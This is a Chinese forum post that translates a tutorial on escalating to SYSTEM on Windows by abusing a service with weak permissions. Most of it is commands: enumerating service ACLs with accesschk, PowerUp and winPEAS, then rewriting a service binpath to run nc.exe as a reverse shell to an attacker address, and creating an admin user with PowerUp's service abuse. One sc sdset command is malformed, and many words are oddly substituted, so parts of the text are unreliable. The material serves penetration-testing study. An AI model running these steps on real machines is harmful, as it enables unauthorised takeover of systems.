Windows 提权-服务_弱服务权限

打印 上一主题 下一主题

主题 994|帖子 994|积分 2982

本文通过 Google 翻译 Weak Service Permissions – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词举行了校正及个别注释补充。
导航

0、媒介

在这篇文章中,我们将介绍如何使用服务的弱权限。首先,我们将发现一个非标准的服务正在运行,而该服务对于系统中的标准用户又有着太多的访问权限。然后,又发现该服务存在错误设置,而错误设置又答应我们修改服务的启动程序路径使其指向恶意程序。末了,我们重启服务并获得 SYSTEM shell。
别的,我们还将看到如何使用工具来轻松找到这种服务的错误设置,甚至为我们提供漏洞使用。
1、搜寻非标准服务

在此示例中,假设我们作为标准用户 cmarko 已在目标机器上获得了立足点。

为了查找弱服务,我们必须先查看系统上正在运行的服务有哪些。
1.1、cmd

首先,使用 wmic 命令查看系统上运行的所有服务:
  1. wmic service get name,displayname,pathname,startmode
复制代码

从输出结果中可以看到,这里运行着大量的系统服务,而这些服务大多数都是从 C:\Windows\System32 实行的,而标准用户通常对 C:\Windows\* 中的任何内容都没有权限,因此我们需要过滤掉所有的系统服务。【而且,系统服务在默认环境下也不会出现错误设置的题目。】
而我们最感兴趣的是非标准服务,因此可以使用以下命令来缩小搜索范围,以扫除系统服务:
  1. wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\"
复制代码

很快!这个自界说的“Juggernaut”服务便引起了我们的注意。
1.2、powershell

要实行与 wmic 命令等效的 PowerShell 命令,我们可以使用 Get-WmiObject cmdlet,就像这样:
  1. Get-WmiObject -class Win32_Service -Property Name,DisplayName,PathName,StartMode | Where {$_.PathName -notlike "C:\Windows\*"} | Select PathName,DisplayName,Name
复制代码

2、搜寻服务的弱权限

找到风趣的服务后,我们想深入相识服务本身的权限,看看是否有可使用的时机。
2.1、枚举服务的弱权限:手动

我们可以使用 sc 命令来枚举服务权限,但是它输出的结果让人很难理解。例如:
  1. sc sdshow Juggernaut
复制代码

注:也可以通过 sc sdset Juggernaut DA;;CCDCLCSWRPWPDTLORC;;WD) 去授予 Eyeryone 用户管理 Juggernaut 服务的权限。
而上面的输出实在已经告诉了我们有关服务权限的所有信息,只是需要配合下面的图表来解读。


根据图表,我们可以看到,首先显示的是权限,其次是三个分号,然后是组/用户。而我们最感兴趣组/用户描述符是:AU、BA、WD。
在上面的输出中,我们可以看到 Everyone (WD) 组的权限【即 (A;;CC DC LC SW RP WP DT LO RC;;WD)】。如果将其细分,可以看到 Everyone 组拥有 DC (SERVICE_CHANGE_CONFIG) 权限,而这正是我们使用这项服务所必需的权限。同时还看到 Everyone 组拥有 RP/WP 权限,这意味着当前用户可以停止/启动这项服务。这对我们来说很关键,因为从之前的枚举得知这是一个需要手动启动的服务,也就意味着我们不能通过重启机器来逼迫启动服务。
2.2、枚举服务的弱权限:工具

有很多工具可以用来枚举服务权限,但在本例中,我们只介绍其中四款工具:Accesschk、SetACL、PowerUp、winPEAS。
在将工具转移到受害者身上之前,有一点需要牢记,那就是我们应该确定其系统架构,以便知道是使用 32 位还是 64 位的工具。
  1. systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
复制代码

在这里,我们可以看到受害者运行的是 64 位操作系统的 Windows 10 Pro - Build 17134(version 1803)。
2.2.1、Accesschk

首先,我们使用 Sysinternals 工具套件中的 accesschk64.exe 来枚举发现的 Juggernaut 服务的权限。
将 Accesschk64.exe 的副本下载并传输到受害者机器上。

然后,使用以下命令来查看服务权限:
  1. .\accesschk64.exe -wuvc Juggernaut -accepteula
复制代码

在这里,我们可以看到 Everyone 具有 SERVICE_CHANGE_CONFIG 权限,这意味着任何用户都可以修改该服务!
除了 SERVICE_CHANGE_CONFIG  权限以外,答应修改服务的另一个权限标识是 SERVICE_ALL_ACCESS,而这个权限又代表着对服务的完全控制权
另外,我们不光可以用 accesschk 来查看服务权限,也可以使用它来查找服务,并一次性找到各自的服务权限。我们将在本篇的3.1末节中进一步相识它的其它功能。
2.2.2、SetACL

一款名为 SetACL.exe 的工具也非常实用,可以用它来查找任何对象(服务、注册表键值、文件、目录等)的 ACL 权限。
将 SetACL.exe 工具的副本下载并传输到受害者机器上。

然后,使用以下命令来查看服务的权限:
  1. .\SetACL64.exe -on "Juggernaut" -ot srv -actn list
复制代码

从上面输出的结果可以看到,该工具举行的很多查抄都需要管理员权限才能开始,但只是简朴地枚举权限,是不需要管理员权限就可以使用的。
3、工具搜寻弱服务

刚刚我们介绍了如何使用工具去查找非标准服务,以及在找到非标准服务之后该如何枚举其权限。
接下来,我们将相识如何使用工具来同时完成这两个步骤。
3.1、Accesschk

使用 accesschk 的另一种方法是枚举所有服务,同时查抄特定组的权限。例如,标准用户默认属于多个组,我们可以枚举这些组,查看其中是否有任何组在任何服务上有写入权限。
我们感兴趣的用户/组如下:

  • 当前登录用户,如 bob。(%USERNAME%)
  • Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
  • Everyone
  • BUILTIN\Users
  • NT AUTHORITY\INTERACTIVE
使用 accesschk 时,我们要先查抄当前用户,因为当前用户可能默认属于这些组中的大多数。【注:实在只要查抄当前用户就可以了,因为查抄其它组的终极目标还是为了知道当前用户在不在这个组中。】
可以使用以下命令查找当前用户或任何用户可写入的任何服务:
  1. .\accesschk64.exe "%USERNAME%" -wuvc * -accepteula
  2. .\accesschk64.exe "Everyone" -wuvc * -accepteula
  3. .\accesschk64.exe "Authenticated Users" -wuvc * -accepteula
  4. .\accesschk64.exe "BUILTIN\Users" -wuvc * -accepteula
  5. .\accesschk64.exe "NT AUTHORITY\INTERACTIVE" -wuvc * -accepteula
复制代码

如上图所示,仅一条命令,我们就发现当前用户拥有对 Juggernaut 服务的写入权限,同时一次性找到了它的所有权限!
接下来,我们再看另外几款主动化工具,它们将为我们完成所有这些工作。
相识工具的工作原理非常重要,这就是为什么我总是先教手工方法,然后再演示如何使用工具。
3.2、PowerUp/winPEAS

有很多好用的后使用工具可以使用,但在本例中,我们将使用 PowerUp.ps1winPEASx64.exe
下载每个工具的副本后,将其传输到受害者机器上。

工具1】:我们先使用 PowerUp.ps1 脚本,因为它的输出精简可能会使我们更快取得胜利。就像这样:
  1. . .\PowerUp.ps1
  2. Invoke-AllChecks
复制代码

在这里,我们可以看到 PowerUp 正在查找易受攻击的服务,并发现了 Juggernaut 服务的权限较弱。
别的,PowerUp.ps1 另有内置的函数(AbuseFunction),可用来使用PowerUp 所发现的大多数错误设置或者特别权限。【注:滥用功能将在第6节展示。】
工具2】:接下来我们使用 winPEAS 工具,虽然 winPEAS 的输出内容很多,但我们只需关注 Services InformationModifiable Services 部分的信息即可。


4、使用服务的弱权限

现在,我们已经相识了寻找非标准服务和枚举服务权限的多种方法,接下来,就需要详细查询服务本身的设置信息,以相识需要做哪些更改。然后修改服务,使其在启动时实行我们指定的二进制文件,而不是预定的二进制文件。末了,我们将重启服务并获得 SYSTEM shell。
4.1、收集服务信息

我们最感兴趣的服务信息是:启动类型、启动身份、启动程序路径。而这些信息可以通过 cmd.exe 中的 sc 命令或 PowerShell 中的 Get-Service cmdlet 或注册表来查找。
示例如下:
  1. reg query "HKLM\System\CurrentControlSet\Services\Juggernaut"
复制代码
  1. sc qc Juggernaut
复制代码
  1. Get-WmiObject win32_service | ?{$_.Name -like 'Juggernaut'} | select Name, DisplayName, StartMode, State, PathName, StartName
复制代码

上面这三条命令都返回了相同的关键信息:StartMode、PathName、StartName。
可以看到 StartName 显示的是 LocalSystem,这意味着该服务是以 SYSTEM 的身份实行的。而如果 StartName 显示的不是 LocalSystem,那我们就需要修改该字段为此值,以确保该服务就是以 SYSTEM 的身份实行的。
4.2、修改服务启动程序路径 - POC

关于 binpath 的风趣之处在于,我们可以往其中放入一条命令来实行,而这也为我们在启动服务时使用它来天生反向 shell 提供了时机。
让我们从 POC 开始,使用以下命令编辑 binpath 来 ping 攻击者的机器:
  1. sc config Juggernaut binpath= "ping 172.16.1.30"
复制代码

注意:binpath=后面的空格必须要存在。
现在,我们回到攻击者的机器上,启动 tcpdump 以捕获 ICMP 哀求。
  1. tcpdump -i eth0 icmp
复制代码
在 tcpdump 启动之后,回到受害者机器启动服务:
  1. sc start Juggernaut
  2. ::或 net start "Juggernaut"
复制代码
或:
  1. Start-Service Juggernaut
复制代码
当启动服务后,会发现我们当前的 shell 被挂了起来。再次回到攻击机,我们看到 tcpdump 捕获到了 ICMP 哀求包!

Crazy!这意味着服务运行了我们指定的命令。
4.3、修改服务启动程序路径 - EXP

接下来,我们要做的就是将 binpath 修改为恶意程序的路径。为此,可以使用 msfvenom 制作一个恶意程序,然后修改服务的 binpath 以实行我们的程序,而不是现实的服务程序。不外,本节我们打算换个思绪,使用 netcat 去获得 SYSTEM shell。
首先将 nc.exe 的副本下载并传输到受害者机器上。
Kali在 /usr/usr/share/windows-resources/binaries/directory 目录中拥有 nc.exe 的副本。

然后使用以下命令来修改 BinPath:
  1. sc config Juggernaut binPath= "C:\temp\nc.exe 172.16.1.30 443 -e C:\windows\system32\cmd.exe"
复制代码

末了就是在攻击机的 443 端口上启动 netcat 监听器,然后启动服务。
  1. sc start Juggernaut
复制代码
当 shell 被挂起的时候,说明服务程序已经运行起来了。

回到监听器,可以看到已经收到了 SYSTEM shell!不外,我们会发现,当服务“失败”时,这个 shell 很快就会掉线。而为了避免这个题目,我们需要在攻击者的机器上启动第二个 netcat 监听器,然后使用类似的命令向第二个监听器快速推送第二个 shell。

这次,在第二个监听器中,我们获得了稳固的 SYSTEM shell!

5、注意事项

通常,我们可以像上面那样用标准用户去修改服务,但有时,可能还需要一些额外的修改才能使漏洞发挥作用。
例如,假设我们有能力修改 upnphost 服务,但当我们查询该服务时,却发现它有依靠关系,而这种关系又会导致我们的服务程序不能被触发运行。

这就意味着我们还需要对其它一些设置举行更改。
首先,还是像以前那样更改 binpath :
  1. sc config upnphost binPath= "C:\temp\nc.exe 172.16.1.30 443 -e C:\windows\system32\cmd.exe"
复制代码

然后,我们需要删除依靠关系,并更改服务启动身份为 LocalSystem:
  1. sc config upnphost depend= ""
  2. sc config upnphost obj= ".\LocalSystem" password= ""
复制代码

末了,就像以前一样,启动监听器,重启服务,获得 SYSTEM shell!
6、滥用 PowerUp.ps1 功能

3.2末节的时候,当使用 PowerUp.ps1 枚举服务时,它显示了以下 AbuseFunction 提示,现在我们可以使用它来使用这个漏洞。

使用此 AbuseFunction 将创建一个恶意程序,该程序会创建一个新用户,并将该用户归入管理员组。
  1. Invoke-ServiceAbuse -ServiceName 'Juggernaut'
复制代码

当滥用命令实行之后,当我们查抄服务时,发现它没有更改 binpath?

但如果我们使用 net user 命令和 net localgroup administrators 命令时,会发现该用户已经创建并添加到了当地管理员组!

原来,PowerUp 在修改完 binpath 并重新启动服务创建当地管理员用户之后,又将 binpath 主动恢复到了原来的默认路径!
这时候,如果受害者机器上的 RDP 服务是打开状态,那我们就可以使用 xfreerdp 轻松 RDP 登录,然后 “以管理员身份运行” cmd.exe,进入具有完全权限的高完整性 shell。
  1. sudo xfreerdp /u:john /p:'Password123!' /v:172.16.1.50 +clipboard
复制代码

但是,如果目标没有打开 RDP 服务。此时,我们就需要通过 RunasUAC-bypass 技术来获取管理员高完整性 shell。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

tsx81429

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表